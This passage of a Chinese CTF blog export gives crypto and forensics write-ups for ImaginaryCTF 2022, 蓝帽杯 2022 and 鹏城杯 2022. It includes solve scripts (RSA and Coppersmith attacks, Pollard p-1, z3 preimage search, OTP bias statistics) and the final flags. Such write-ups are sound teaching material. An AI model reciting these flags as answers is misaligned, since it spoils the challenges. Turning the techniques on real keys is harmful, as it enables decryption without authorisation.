673*672 * 677**2*676 * 682 * 691**3*690 * 701**3*700 * 709*708 * 718 * 738 * 742 * 760 * 769*768 * 797**5*796 * 809**3*808 * 810 * 820 * 827**3*826 * 828 * 839*838 * 852 * 856 * 859*858 * 863*862 * 877*876 * 880 * 882 * 886 * 910 * 918 * 937*936 * 947**4*946 * 967*966 * 970 * 977*976 * 982 * 991**2*990 * 996 * 1009**2*1008 * 1012 * 1019**2*1018 * 1020e = 65537c= 194667317703687479298989188290833629421904543231503224641743768867721632949682167895699280370759100055314992068135383846690184090232092994595979623784341194946153538127175310278245722299688212621004144260665233469561373125699948009903943019071999887294005117156960295183926108287198987970959145603429337056005819069d = invert(e,phi)n = 257827703087398016057355158654193468564980243813004452658087616586210487667215030370871398983230710387803731676134007721137156696714627083072326445637415561591372586919746606752675050732692230618293581354674196658443898625965651230501721590806987488038754683843111434873697465691139129703835890867256688046172118591print(long_to_bytes(pow(c,d,n))) cbc自己实现了不安全的cbc分组模式,直接把前一组的密文当作key给下一组加密,相当于知道key了,第一组分组解不出来没关系,题目加密的是flag*3。 123456789101112131415from Crypto.Cipher import AESfrom Crypto.Util.Padding import pad, unpadfrom os import urandomct = b"\\xa2\\xb8 <\\xf2\\x85\\xa3-\\xd1\\x1aM}\\xa9\\xfd4\\xfag<p\\x0e\\xb7|\\xeb\\x05\\xcbc\\xc3\\x1e\\xc3\\xefT\\x80\\xd3\\xa4 ~$\\xceXb\\x9a\\x04\\xf0\\xc6\\xb6\\xd6\\x1c\\x95\\xd1(O\\xcfx\\xf2z_\\xc3\\x87\\xa6\\xe9\\x00\\x1d\\x9f\\xa7\\x0bm\\xca\\xea\\x1e\\x95T[Q\\x80\\x07we\\x96)t\\xdd\\xa9A 7dZ\\x9d\\xfc\\xdbA\\x14\\xda9\\xf3\\xeag\\xe3\\x1a\\xc8\\xad\\x1cnL\\x91\\xf6\\x83'\\xaa\\xaf\\xf3i\\xc0t=\\xcd\\x02K\\x81\\xb6\\xfa.@\\xde\\xf5\\xaf\\xa3\\xf1\\xe3\\xb4?\\xf9,\\xb2:i\\x13x\\xea1\\xa0\\xc1\\xb9\\x84"c = [ct[i:i+16] for i in range(0, len(ct), 16)]key = urandom(16)flag = b''for block in c: cipher = AES.new(key, AES.MODE_ECB) next = cipher.decrypt(block) flag=flag+next key = blockprint(flag) Secure Encoding: Hex这题以前没做过类似的,重点记一下;题目是把16进制的字符表置换了: 1234567891011121314151617#!/usr/bin/env python3from random import shufflecharset = '0123456789abcdef'shuffled = [i for i in charset]shuffle(shuffled)d = {charset[i]:v for(i,v)in enumerate(shuffled)}pt = open("flag.txt").read()assert all(ord(i)<128 for i in pt)ct = ''.join(d[i] for i in pt.encode().hex())f = open('out.txt', 'w')f.write(ct)# 0d0b18001e060d090d1802131dcf011302080ccf0c070b0f080d0701cf00181116 由排列组合的知识可知一共有16!种置换方案,这很大无法直接爆破。但观察到把ictf{和}转成16进制和密文的hex的字符频率一致,猜测前后格式就是ictf{};那么根据这一部分明文密文对照可以得到置换群的部分映射关系,剩下的爆破即可,剩下需要爆破a96种组合,过滤一下字符得到最终flag。 123456789101112131415161718192021222324252627282930313233343536373839404142import itertoolsimport binasciiimport stringchars = string.ascii_letters+string.digits+'!'+'-'+'_'s = '0d0b18001e060d090d1802131dcf011302080ccf0c070b0f080d0701cf00181116'know1 = '696374667b'know2 = '7d'dic = {}for i in range(10): dic.update({s[i]:know1[i]})dic.update({'1':'7'})dic.update({'6':'d'})print(len(dic))print(dic)ss = '0db18e6923cf7'# 看看哪些是未知的映射,需要爆破for i in ss: if i not in dic.keys(): print(i,end='')print()table = '0123456789abcdef'for i in table: if i not in dic.values(): print(i,end='')t = '01258acef'tt = '923cf7'for i in itertools.permutations(t,6): dic1 = dic for j in range(6): dic1.update({tt[j]:i[j]}) mm = '' for m in s: mm = mm + dic[m] flag = binascii.unhexlify(mm) if b'encoding' in flag: print(flag)# ictf{military_grade_encoding_ftw} Lorgep-1光滑,但因子不超过25bit这一限制导致因子还是可能较大;Pollard’s p − 1 算法可以做但是需要改进一下。这是通常的算法写法: 1234567891011def Pollards_p_1(N): a = 2 n = 2 while True: a = pow(a, n, N) res = gcd(a - 1, N) if res != 1 and res != N: print('n =', n) print('p =', res) return res n += 1 算法这样写是为了保证质数因子次数大于1的时候也能分解出来,并且每次对n加1都进行一次gcd判定,当素因子比特稍微大点效率就很低,所以普通的写法无法做出本题。想一想如何优化?1.减少gcd判定 2.改变每次n加1的流程减少gcd判定很好理解,只要前边依次乘了素数,隔一段时间进行一次判定即可;而n每次加1是因为可能出现质数因子次数大于1的情况,由于这题的特殊性可以大胆猜想因子次数都是1,否则几乎无法优化。综上所述可以做出优化如下:1.由于比特最大为25,所以可以把这个范围内的质数先全部找到,遍历的时候只需要按索引取值,python库找素数的算法肯定比我们自己后续遍历的时候取素数效率高。2.先把大部分素数乘起来,这个过程不去gcd判定,以节约时间(猜想出题人肯定会放几个大素数进去的);在乘最后一部分大素数的时候n每增加1000左右做一次判定。最后的exp: 123456789101112131415161718192021222324252627282930313233from Crypto.Util.number import *from libnum import primesfrom tqdm import tqdmP=primes(2**25)print('ok')def Pollard_p_1(N): a = 2 while True: f = a for n in tqdm(range(1, 2**19)): f = pow(f, P[n], N) for n in tqdm(range(2**19, len(P))): f = pow(f, P[n], N) if n % 1000 == 0: d = GCD(f-1, N) if 1 < d < N: return d print(a) a += 1N=63038895359658613740840475285214364620931775593017844102959979092033246293689886425959090682918827974981982265129797739561818809641574878138225207990868931316825055004052189441093747106855659893695637218915533940578672431813317992655224496134300271524374912502175195904393797412770270676558054466831561609036199966477print(Pollard_p_1(N))p=145032322033866860846381416443898168813760964460593559495755044148135716181467611533887294886701334975636615688439165591336904142171600066773005252254144288439e=0x10001ct = 60515029337308681079476677877525631415600527185785323978384495461916047877351538207473264679842349366162035496831534576192102896080638477601954951097077261305183669746007206897469286005836283690807247174941785091487066018014838515240575628587875110061769222088950451112650700101446260617299040589650363814995825303369q=N//pphi=(p-1)*(q-1)d=inverse(e,phi)m=pow(ct,d,N)print(long_to_bytes(m))# b'ictf{why_d1d_sm0ll_3v3n_sh0w_up_on_f4ct0rdb???_That_m4d3_m3_sad!}' 四五分钟能跑出结果。 hash这道题hash师傅用矩阵解的,我不太能理解,于是找到了暴力破解的办法;因为password长度在15-20,分布区间很小,所以考虑遍历,用z3求解,一是因为z3对于xor求解运算很快,二是由于password是string.printable,所以限制条件足以得到正确解。exp: 12345678910111213141516171819202122232425262728293031323334353637from pwn import *from z3 import *config = [ [int(a) for a in n.strip()] for n in open("jbox.txt").readlines()] # sbox pbox jack in the boxdef sha42(s: bytes, rounds=42): out = [0] * 21 for round in range(rounds): for c in range(len(s)): if config[((c // 21) + round) % len(config)][c % 21] == 1: out[(c + round) % 21] ^= s[c] return outdef solve_preimage(h): for l in range(15,21): inp = [BitVec(f"inp_{i}", 8) for i in range(l)] sol = Solver() for x in inp: sol.add(x != 0, x != 0x10, x != 0x11 ,x < 0x7F) #这里用密码为printable限制一下即可 for x, y in zip(h, sha42(inp)): sol.add(x == y) if sol.check() != sat: continue m = sol.model() return bytes([m[x].as_long() for x in inp])# io = process(['python', 'hash.py'])io = remote("34.90.15.213", 1337)for i in range(50): io.recvuntil(b'sha42(password) = ') h = bytes.fromhex(io.recvlineS().strip()) password = solve_preimage(h) print(i, f'sha42({password.hex()}) = {h.hex()}') io.sendlineafter(b'hex(password) = ',password.hex().encode())io.interactive()# Congrats! Your flag is: ictf{pls_d0nt_r0ll_y0ur_0wn_hashes_109b14d1} otp这题出的挺好,考查选手用数理统计的知识解决密码学问题;出题人生成了一个jumbler列表,然后利用jumbler实现了一个看似随机的序列生成器; 12345678910111213141516171819def secureRand(bits, seed): jumbler = [] jumbler.extend([2**n for n in range(300)]) jumbler.extend([3**n for n in range(300)]) jumbler.extend([4**n for n in range(300)]) jumbler.extend([5**n for n in range(300)]) jumbler.extend([6**n for n in range(300)]) jumbler.extend([7**n for n in range(300)]) jumbler.extend([8**n for n in range(300)]) jumbler.extend([9**n for n in range(300)]) out = "" state = seed % len(jumbler) for _ in range(bits): if int(str(jumbler[state])[0]) < 5: out += "1" else: out += "0" state = int("".join([str(jumbler[random.randint(0, len(jumbler)-1)])[0] for n in range(len(str(len(jumbler)))-1)])) return long_to_bytes(int(out, 2)).rjust(bits//8, b'\\0') 这样的白盒生成器让我们有机会去直接对0和1的生成结果进行统计,可以发现每次生成1和0的概率大约为2:1;因为加密过程就是简单的异或操作,所以只要是0,明文和密文该位不变,若为1,则该位取反;因此加密有大概70%的概率是把该位翻转。 12345678910111213141516jumbler = []jumbler.extend([2 ** n for n in range(300)])jumbler.extend([3 ** n for n in range(300)])jumbler.extend([4 ** n for n in range(300)])jumbler.extend([5 ** n for n in range(300)])jumbler.extend([6 ** n for n in range(300)])jumbler.extend([7 ** n for n in range(300)])jumbler.extend([8 ** n for n in range(300)])jumbler.extend([9 ** n for n in range(300)])count = 0for i in jumbler: if int(str(i)[0]) < 5: count += 1print(count,len(jumbler)-count)# 1677 723 因此我们可以多次请求flag的密文,得到多组密文;统计各组密文每一位的0和1个数比例,方法是把各组对应位的数字(1 or 0)加起来,与组数的0.5倍进行比较,看该位1和0哪个更多;cipher中某一位0出现多说明其原本为1,1出现的多则原本为0。exp参考大佬的,很简洁 123456789101112131415from pwn import *import numpy as npfrom tqdm import tqdmio = remote("otp.chal.imaginaryctf.org", 1337)T = 200 # 组数越多越精确但越慢cts = []for _ in tqdm(range(T)): io.sendlineafter(b"Enter plaintext: ", b"FLAG") io.recvuntil(b"Encrypted flag: ") ct = bytes.fromhex(io.recvlineS().strip()) cts.append(bits(ct))print(unbits((np.array(cts).T.sum(axis=1) < T * 0.5) * 1))# ictf{benfords_law_catching_tax_fraud_since_1938}","categories":[{"name":"赛事","slug":"赛事","permalink":"http://example.com/categories/%E8%B5%9B%E4%BA%8B/"},{"name":"ImaginaryCTF2022","slug":"赛事/ImaginaryCTF2022","permalink":"http://example.com/categories/%E8%B5%9B%E4%BA%8B/ImaginaryCTF2022/"}],"tags":[{"name":"crypto","slug":"crypto","permalink":"http://example.com/tags/crypto/"},{"name":"misc","slug":"misc","permalink":"http://example.com/tags/misc/"},{"name":"web","slug":"web","permalink":"http://example.com/tags/web/"}]},{"title":"蓝帽杯初赛2022","slug":"蓝帽杯初赛2022","date":"2022-07-15T00:10:11.000Z","updated":"2022-07-17T16:59:06.000Z","comments":true,"path":"2022/07/15/蓝帽杯初赛2022/","link":"","permalink":"http://example.com/2022/07/15/%E8%93%9D%E5%B8%BD%E6%9D%AF%E5%88%9D%E8%B5%9B2022/","excerpt":"​ misc和取证都是常规题目,仅仅复现一下密码题目。","text":"​ misc和取证都是常规题目,仅仅复现一下密码题目。 ​ 这道题考察了openssl私钥格式解析和copper构造;比赛时没出主要还是因为对私钥结构不熟悉,觉得难度大就放弃了。​ 题目给了私钥的首尾两段,我们需要对照格式去解析已知信息,参考这里;弄清楚私钥的格式以后,直接解析已知部分: 1234567891011121314151617181920212223242526272829303132import base64from Crypto.Util.number import *b = '''MIICXgIBAAKBgQDXFSUGqpzsBeUzXWtG9UkUB8MZn9UQkfH2Aw03YrngP0nJ3NwHUFTgzBSLl0tBhUvZO07haiqHbuYgBegO+Aa3qjtksb+bH6dz41PQzbn/l4Pd1fXmdJmtEPNh6TjQC4KmpMQqBTXF52cheY6GtFzUuNA7DX51wr6HZqHoQ73GQQIDAQAB'''b = base64.b64decode(b)print(len(b))print(b)c = '''yQvOzxy6szWFheigQdGxAkEA4wFss2CcHWQ8FnQ5w7k4uIH0I38khg07HLhaYm1czUcmlk4PgnDWxN+ev+vMU45O5eGntzaO3lHsaukX9461mA=='''c = base64.b64decode(c)print(len(c))print(c)# n是0x028181后129位16进制n = bytes_to_long(b'\\00\\xd7\\x15%\\x06\\xaa\\x9c\\xec\\x05\\xe53]kF\\xf5I\\x14\\x07\\xc3\\x19\\x9f\\xd5\\x10\\x91\\xf1\\xf6\\x03\\r7b\\xb9\\xe0?I\\xc9\\xdc\\xdc\\x07PT\\xe0\\xcc\\x14\\x8b\\x97KA\\x85K\\xd9;N\\xe1j*\\x87n\\xe6 \\x05\\xe8\\x0e\\xf8\\x06\\xb7\\xaa;d\\xb1\\xbf\\x9b\\x1f\\xa7s\\xe3S\\xd0\\xcd\\xb9\\xff\\x97\\x83\\xdd\\xd5\\xf5\\xe6t\\x99\\xad\\x10\\xf3a\\xe98\\xd0\\x0b\\x82\\xa6\\xa4\\xc4*\\x055\\xc5\\xe7g!y\\x8e\\x86\\xb4\\\\\\xd4\\xb8\\xd0;\\r~u\\xc2\\xbe\\x87f\\xa1\\xe8C\\xbd\\xc6A')# print(n.bit_length()) 1024print(len(b'\\00\\xd7\\x15%\\x06\\xaa\\x9c\\xec\\x05\\xe53]kF\\xf5I\\x14\\x07\\xc3\\x19\\x9f\\xd5\\x10\\x91\\xf1\\xf6\\x03\\r7b\\xb9\\xe0?I\\xc9\\xdc\\xdc\\x07PT\\xe0\\xcc\\x14\\x8b\\x97KA\\x85K\\xd9;N\\xe1j*\\x87n\\xe6 \\x05\\xe8\\x0e\\xf8\\x06\\xb7\\xaa;d\\xb1\\xbf\\x9b\\x1f\\xa7s\\xe3S\\xd0\\xcd\\xb9\\xff\\x97\\x83\\xdd\\xd5\\xf5\\xe6t\\x99\\xad\\x10\\xf3a\\xe98\\xd0\\x0b\\x82\\xa6\\xa4\\xc4*\\x055\\xc5\\xe7g!y\\x8e\\x86\\xb4\\\\\\xd4\\xb8\\xd0;\\r~u\\xc2\\xbe\\x87f\\xa1\\xe8C\\xbd\\xc6A'))# e在n后,注意标志位e = (bytes_to_long(b[141:144]))print(e)print(len(b'\\00\\xe3\\x01l\\xb3`\\x9c\\x1dd<\\x16t9\\xc3\\xb98\\xb8\\x81\\xf4#\\x7f$\\x86\\r;\\x1c\\xb8Zbm\\\\\\xcdG&\\x96N\\x0f\\x82p\\xd6\\xc4\\xdf\\x9e\\xbf\\xeb\\xccS\\x8eN\\xe5\\xe1\\xa7\\xb76\\x8e\\xdeQ\\xecj\\xe9\\x17\\xf7\\x8e\\xb5\\x98'))t = bytes_to_long(b'\\00\\xe3\\x01l\\xb3`\\x9c\\x1dd<\\x16t9\\xc3\\xb98\\xb8\\x81\\xf4#\\x7f$\\x86\\r;\\x1c\\xb8Zbm\\\\\\xcdG&\\x96N\\x0f\\x82p\\xd6\\xc4\\xdf\\x9e\\xbf\\xeb\\xccS\\x8eN\\xe5\\xe1\\xa7\\xb76\\x8e\\xdeQ\\xecj\\xe9\\x17\\xf7\\x8e\\xb5\\x98')print(t)dq_l = bytes_to_long(b'\\xc9\\x0b\\xce\\xcf\\x1c\\xba\\xb35\\x85\\x85\\xe8\\xa0A\\xd1\\xb1') # 这里是d mod q-1的低位print(dq_l) ​ 已知信息有n,e,q模p的逆,d mod q-1的部分(低位)。根据这些信息,可以构造copper:​ 这里注意需要控制k的范围,由ed’ - 1 = k*(q-1)可知,k小于e,这个范围足够了,但是sage会跑的比较慢,可以尝试多进程分段: 1234567891011121314151617181920n = 151036135413139226687867011199700639084856588533884431118047808395603993635242690166659649156476428533386350427603713487259266502837260466348398817558768025404903682189934563578605367223796247470920497617904900418615352839562681665973088711089128789315193951623751145385357347144960284983398745189236464272961t = 11889246144866782519155392157369478059715977597114885585873502852127888907191116911762955888968046505980125449346852147369649024143226438553109462231463320e = 0x10001dq_l = 1043891160170747082120115133012365745for k in range(65537): F.<x> = PolynomialRing(Zmod(n)) if k%100 == 0: print("%d times"%k) q = (x * 2**120 + dq_l) f = q * e - 1 + k # 在一元copper下 变成模p爆破k# f = k * q TT= t*f*f-k*f # small_roots(TT,[2**(512-120),e],m=3,d=6) TT=TT.monic() sss = TT.small_roots(X = 2**(512-120),beta=0.4) if (len(sss)) != 0 : print(k) print(t) print(sss) ​ 最后得到d解rsa需要用他加密这个库,略微麻烦: 1234567891011121314151617181920212223242526272829303132333435363738n = 151036135413139226687867011199700639084856588533884431118047808395603993635242690166659649156476428533386350427603713487259266502837260466348398817558768025404903682189934563578605367223796247470920497617904900418615352839562681665973088711089128789315193951623751145385357347144960284983398745189236464272961t = 11889246144866782519155392157369478059715977597114885585873502852127888907191116911762955888968046505980125449346852147369649024143226438553109462231463320e = 65537dq_l = 1043891160170747082120115133012365745k = 59199dq_h = 8473541887500515583954330543610580482352988466308294038598683460069270949695742839059962985745363324600134512811492604from Crypto.Util.number import *dq = (dq_h * 2 ** 120 + dq_l)q = (dq*e-1)//k + 1print(q)p = n // qd = inverse(e, (p - 1) * (q - 1))from Crypto.PublicKey import RSAe = 65537n = p * qd = d# 注意这里要用RSA.construct重新构建私钥结构privkey = RSA.construct((int(n), e, int(d)))f = open('privkey2.pem', 'wb')# 导出pem格式f.write(privkey.export_key('PEM'))f.close()from Crypto.PublicKey import RSAfrom Crypto.Cipher import PKCS1_OAEP# ssl格式加密则用ssl格式去解密cipher_text = open(r"flag.enc", "rb").read()ciphertxt = cipher_textkey = RSA.importKey(open(r"privkey2.pem").read())cipher = PKCS1_OAEP.new(key)message = cipher.decrypt(ciphertxt)print(message)# b'flag{f1bf5c44-e2b4-424f-baff-b38b73a82e72}' ​ 经测试,可以不需要重写PEM文件,直接用RSA.construct建立的key也能解: 12345678910111213141516171819202122232425262728293031n = 151036135413139226687867011199700639084856588533884431118047808395603993635242690166659649156476428533386350427603713487259266502837260466348398817558768025404903682189934563578605367223796247470920497617904900418615352839562681665973088711089128789315193951623751145385357347144960284983398745189236464272961t = 11889246144866782519155392157369478059715977597114885585873502852127888907191116911762955888968046505980125449346852147369649024143226438553109462231463320e = 65537dq_l = 1043891160170747082120115133012365745k = 59199dq_h = 8473541887500515583954330543610580482352988466308294038598683460069270949695742839059962985745363324600134512811492604from Crypto.Util.number import *dq = (dq_h * 2 ** 120 + dq_l)q = (dq*e-1)//k + 1print(q)p = n // qd = inverse(e, (p - 1) * (q - 1))from Crypto.PublicKey import RSAe = 65537n = p * qd = d# 注意这里要用RSA.construct重新构建私钥结构privkey = RSA.construct((int(n), e, int(d)))from Crypto.Cipher import PKCS1_OAEP# ssl格式加密则用ssl格式去解密cipher_text = open(r"flag.enc", "rb").read()ciphertxt = cipher_textcipher = PKCS1_OAEP.new(privkey) #这里直接用privkey了message = cipher.decrypt(ciphertxt)print(message)# b'flag{f1bf5c44-e2b4-424f-baff-b38b73a82e72}' ​ 复现完毕,撒花~","categories":[{"name":"赛事","slug":"赛事","permalink":"http://example.com/categories/%E8%B5%9B%E4%BA%8B/"},{"name":"蓝帽杯初赛2022","slug":"赛事/蓝帽杯初赛2022","permalink":"http://example.com/categories/%E8%B5%9B%E4%BA%8B/%E8%93%9D%E5%B8%BD%E6%9D%AF%E5%88%9D%E8%B5%9B2022/"}],"tags":[{"name":"crypto","slug":"crypto","permalink":"http://example.com/tags/crypto/"}]},{"title":"鹏城杯2022","slug":"鹏城杯2022","date":"2022-07-03T16:00:19.000Z","updated":"2022-07-04T06:25:32.000Z","comments":true,"path":"2022/07/04/鹏城杯2022/","link":"","permalink":"http://example.com/2022/07/04/%E9%B9%8F%E5%9F%8E%E6%9D%AF2022/","excerpt":"​ 深圳的市赛,题目一般,小卷了一天,进了线下准备去旅游。这里记录我负责的方向赛题。","text":"​ 深圳的市赛,题目一般,小卷了一天,进了线下准备去旅游。这里记录我负责的方向赛题。 Crypto想吐槽一下,密码只有两题就算了,还用别人原题,算了,还是看看远处的雪山吧家人们。 easy_rsaflag分成三部分了,第一部分e和phi不互素,所以求一下gcd(e,phi),再解就行;第二部分一元copper的p高位攻击,恢复p再求q;第三部分c和n公因数就是p,直接求公因数解。 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859from Crypto.Util.number import *from gmpy2 import *dic1 = {'c': '27455f081e4858790c6503580dad3302ae359c9fb46dc601eee98f05142128404e95377324720adbbdebf428549008bcd1b670f6749592a171b30316ab707004b9999f3b80de32843afdfd30505b1f4166a03cee9fc48902b74b6e850cfd268e6917c5d84e64f7e7cd0e4a30bfe5903fb5d821d27fdc817d9c4536a8e7aea55af266abcae857a8ffff2f741901baba1b44091a137c69c471c123ab0b80e250e055959c468e6e37c005105ecd7c8b48c659024e5e251df3eeff5da7b3d561cd98150da3575a16bee5f2524d2795fd4879487018345c1e96efc085ed45fb5f02c027aee5bca3aad0eb3e23376c0cd18b02fb05a1ff8fb1af0a3ce4bb671599894e', 'p': 'bb602e402b68a5cfcc5cfcc63cc82e362e98cb7043817e3421599a4bb8755777c362813742852dad4fec7ec33f1faec04926f0c253f56ab4c4dde6d71627fbc9ef42425b70e5ecd55314e744aa66653103b7d1ba86d1e0e21920a0bfe7d598bd09c3c377a3268928b953005450857c6cfea5bfdd7c16305baed0f0a31ad688bd', 'q': 'bb8d1ea24a3462ae6ec28e79f96a95770d726144afc95ffffa19c7c3a3786a6acc3309820ba7b1a28a4f111082e69e558b27405613e115139b38e799c723ab7fdd7be14b330b118ae60e3b44483a4c94a556e810ab94bbb102286d0100d7c20e7494e20e0c1030e016603bd2a06c1f6e92998ab68e2d420faf47f3ee687fb6d1', 'e': '292'}dic2 = {'c': '3a80caebcee814e74a9d3d81b08b1130bed6edde2c0161799e1116ab837424fbc1a234b9765edfc47a9d634e1868105d4458c9b9a0d399b870adbaa2337ac62940ade08daa8a7492cdedf854d4d3a05705db3651211a1ec623a10bd60596e891ccc7b9364fbf2e306404aa2392f5598694dec0b8f7efc66e94e3f8a6f372d833941a2235ebf2fc77c163abcac274836380045b63cc9904d9b13c0935040eda6462b99dd01e8230fdfe2871124306e7bca5b356d16796351db37ec4e574137c926a4e07a2bfe76b9cbbfa4b5b010d678804df3e2f23b4ec42b8c8433fa4811bf1dc231855bea4225683529fad54a9b539fe824931b4fdafab67034e57338217f', 'p': 'a9cb9e2eb43f17ad6734356db18ad744600d0c19449fc62b25db7291f24c480217d60a7f87252d890b97a38cc6943740ac344233446eea4084c1ba7ea5b7cf2399d42650b2a3f0302bab81295abfd7cacf248de62d3c63482c5ea8ab6b25cdbebc83eae855c1d07a8cf0408c2b721e43c4ac53262bf9aaf7a000000000000000', 'e': '10001', 'n': '841a5a012c104e600eca17b451d5fd37c063ad347707a2e88f36a07e9ad4687302790466e99f35b11580cbe8b0a212e6709686c464a6393c5895b1f97885f23ea12d2069eb6dc3cb4199fb8c6e80a4a94561c6c3499c3c02d9dc9cf216c0f44dc91701a6d9ec89981f261a139500420a51014492f1da588a26e761439dd5739b32540ca6dc1ec3b035043bc535304a06ccb489f72fcd1aa856e1cffe195039176937f9a16bd19030d1e00095f1fd977cf4f23e47b55650ca4712d1eb089d92df032e5180d05311c938a44decc6070cd01af4c6144cdab2526e5cb919a1828bec6a4f3332bf1fa4f1c9d3516fbb158fd4fbcf8b0e67eff944efa97f5b24f9aa65'}dic3 = {'c': '1bd2a47a5d275ba6356e1e2bd10d6c870693be540e9318c746e807a7672f3a75cc63841170126d7dba52d7f6f9cf0f8dce9705fc1785cc670b2658b05d4b24d8918f95594844bfa920c8ffe73160c2c313b3fdbc4541ec19828165e34afa7d05271cc6fd59d08138b88c11677e6ac3b39cff525dcb19694b0388d895f53805a5e5bd8cfb947080e4855aaf83ebd85a397526f7d76d26031386900cb44a2e4bd121412bcee7a6c1e9af411e234f130e68a428596265d3ec647e50f65cb81393f4bd38389a2b9010fd715582506b9054dc235aced50757462b77a5606f116853af0c1ea3c7cf0d304f885d86081f8bac8b67b0625122f75448c5b6eb8f1cc8a0df', 'n': 'c2b17c86a8950f6dafe0a633890e4271cfb20c5ffda2d6b3d035afa655ed05ec16c67b18832ed887f2cea83056af079cc75c2ce43c90cce3ed02c2e07d256f240344f1734adeee6dc2b3b4bbf6dcfc68518d0a74e3e66f1865db95ef4204457e6471903c2321ac97f3b8e3d8d935896e9fc9145a30a3e24e7c320490a9944c1e94d301c8388445532699e6189f4aa6a86f67f1d9b8fb0de4225e005bd27594cd33e36622b2cd8eb2781f0c24d33267d9f29309158942b681aab81f39d1b4a73bd17431b46a89a0e4c2c58b1e24e850355c63b72392600d3fff7a16f6ef80ea515709da3ef1d28782882b0dd2f76bf609590db31979c5d1fd03f75d9d8f1c5069', 'e': '10001'}e1 = int(dic1['e'],16)c1 = int(dic1['c'],16)p1 = int(dic1['p'],16)q1 = int(dic1['q'],16)phi1 = (p1-1)*(q1-1)t = gcd(phi1,e1)d1 = invert(e1//t,phi1)m1 = long_to_bytes(iroot(pow(c1,d1,p1*q1),t)[0])e2 = int(dic2['e'],16)ph = int(dic2['p'],16)n = int(dic2['n'],16)c2 = int(dic2['c'],16)p = 119234372387564173916926418564504307771905987823894721284221707768770334474240277144999791051191061404002537779694672314673997030282474914206610847346023297970473719280866108677835517943804329212840618914863288766846702119011361533150365876285203805100986025166317939702179911918098037294325448226481818486521q = n//pphi2 = (p-1)*(q-1)d2 = invert(e2,phi2)m2 = long_to_bytes(pow(c2,d2,n))e3 = int(dic3['e'],16)c3 = int(dic3['c'],16)n3 = int(dic3['n'],16)gg = gcd(n3,c3)q3 = n3//ggphi3 = (gg-1)*(q3-1)d3 = invert(e3,phi3)M = pow(c3,d3,n3)# M = 2022 * m * 1011 * pm3 = M//2022//gg//1011m3 = long_to_bytes(m3)print(m1+m2+m3)# b'PCL{16745c3b0c134c83b74f977260aae9b5}'# 第二部分sage求pn = 16676450704117406984592025063850900053789376003399190311720188158488886691280209555175830133393912861925677252847063707907536810656295135435030437243734401026617255634459734936796594942776689510859440558194110373664718925429745882204691083430639740384638701716026693412425164473472213091425769296148093070149231932577216369178892250824397978684233626964889041865056363294707998482306347934376164838745527260555009869036640749099896227929806275810818204261768115257353261726117067560402676352095817968864707164594118005516052080082446065707283304316695188972531988085450543617829295860842249432419321698844088907442789p_fake = 119234372387564173916926418564504307771905987823894721284221707768770334474240277144999791051191061404002537779694672314673997030282474914206610847346023297970473719280866108677835517943804329212840618914863288766846702119011361533150365876285203805100986025166317939702179911918098037294324990096966084984832# pbits = 2048pbits = p_fake.nbits()# kbits = 900kbits = 60 # p失去的低位pbar = p_fake & (2 ^ pbits - 2 ^ kbits)PR. < x > = PolynomialRing(Zmod(n))f = x + pbarx0 = f.small_roots(X=2 ^ kbits, beta=0.4)[0] # find root < 2^kbits with factor >= n^0.3p = x0 + pbarprint(p) baby_rsa根据题目条件,2^e=y(modn),所以可以直接分解2^e-y,得到比较大的就是p,大小在16位附近的就是q;最后利用威尔逊定理处理一下模同余就行。 12345678910111213141516171819import gmpy2y=4513855932190587780512692251070948513905472536079140708186519998265613363916408288602023081671609336332823271976169443708346965729874135535872958782973382975364993581165018591335971709648749814573285241290480406050308656233944927823668976933579733318618949138978777831374262042028072274386196484449175052332019377e=1049#print(2**e-y)#6027543349128250261061611850906664728536346779212426641088428544963356731129810885082371555056594134371892601742424667721105193534249189043570046638983977639217990098126731016259348067349430430582215063864805103884037137420179826541116808264617091019826898653792245614592655285387965751855503038673696439312640921935c=3303523331971096467930886326777599963627226774247658707743111351666869650815726173155008595010291772118253071226982001526457616278548388482820628617705073304972902604395335278436888382882457685710065067829657299760804647364231959804889954665450340608878490911738748836150745677968305248021749608323124958372559270p=170229264879724117919007372149468684565431232721075153274808454126426741324966131188484635914814926870341378228417496808202497615585946352638507704855332363766887139815236730403246238633855524068161116748612090155595549964229654262432946553891601975628848891407847198187453488358420350203927771308228162321231q=34211n=p*qphi=(p-1)*(q-1)d=gmpy2.invert(e,phi)cc=pow(c,d,n)k=gmpy2.invert(gmpy2.fac(q),p)m=cc*gmpy2.invert(k,p)%pprint(bytes.fromhex(hex(m)[2:]))#flag{7h3_73rr1b13_7h1ng_15_7h47_7h3_p457_c4n'7_b3_70rn_0u7_by_175_r0075} 也可以看这篇:https://www.zimablue.life/categories/%E6%AF%94%E8%B5%9B/RSA/%E5%A8%81%E5%B0%94%E9%80%8A%E5%AE%9A%E7%90%86/ Miscbabybit首先用OSFMount挂载镜像,然后用DiskGenius打开G盘:把zip文件导出来,其实里边就是注册表的备份文件:用Register Explorer导入注册表备份文件,bitlocker的加密开始时间位于SYSTEM:ControlSet001\\Control\\FVEStats\\OscEncryptInit,加密结束时间则位于SYSTEM:ControlSet001\\Control\\FVEStats\\OscEncryptComplete。这里应该说是时间戳,把时间戳转为正常的date格式: 1234567import datetimetimestamp = 132995782594427750 #132995786261823536value = datetime.datetime (1601, 1, 1) + datetime.timedelta(seconds=timestamp/10000000) ### combine str 3 and 4print(value.strftime('%Y-%m-%d %H:%M:%S'))# 2022-06-13 07:17:39# 2022-06-13 07:23:46 最后还需要把date的小时加8,因为注册表中时间戳为UTC+0,需要转成UTC+8:最后的flag:PCL{2022/6/13_15:17:39_2022/6/13_15:23:46} Misc_water在jpg中间部分有倒置的jpg图片hex:想办法处理一下得到正确的jpg: 12345f = open('jpg','rb')s = f.read()[::-1]print(s)ff = open('out.jpg','wb')ff.write(s) 题目名字叫做water,猜测盲水印,调参可以看到密码:解压以后由张图片,看起来宽高被改过,爆破改下可以看到flag: 12345678910111213141516171819202122232425import zlibimport struct# 同时爆破宽度和高度filename = "1.png"with open(filename, 'rb') as f: all_b = f.read() data = bytearray(all_b[12:29]) n = 4095 for w in range(n): width = bytearray(struct.pack('>i', w)) for h in range(n): height = bytearray(struct.pack('>i', h)) for x in range(4): data[x+4] = width[x] data[x+8] = height[x] crc32result = zlib.crc32(data) #替换成图片的crc if crc32result == 0xe5c6e010: print("宽为:", end = '') print(width, end = ' ') print(int.from_bytes(width, byteorder='big')) print("高为:", end = '') print(height, end = ' ') print(int.from_bytes(height, byteorder='big')) break 简单取证filescan发现secret.jpg:下载之后打开发现是base64编码,解码之后发现是倒置的zip简单处理下: 1234567import base64f = open('file.dat','r')s = f.read()z = 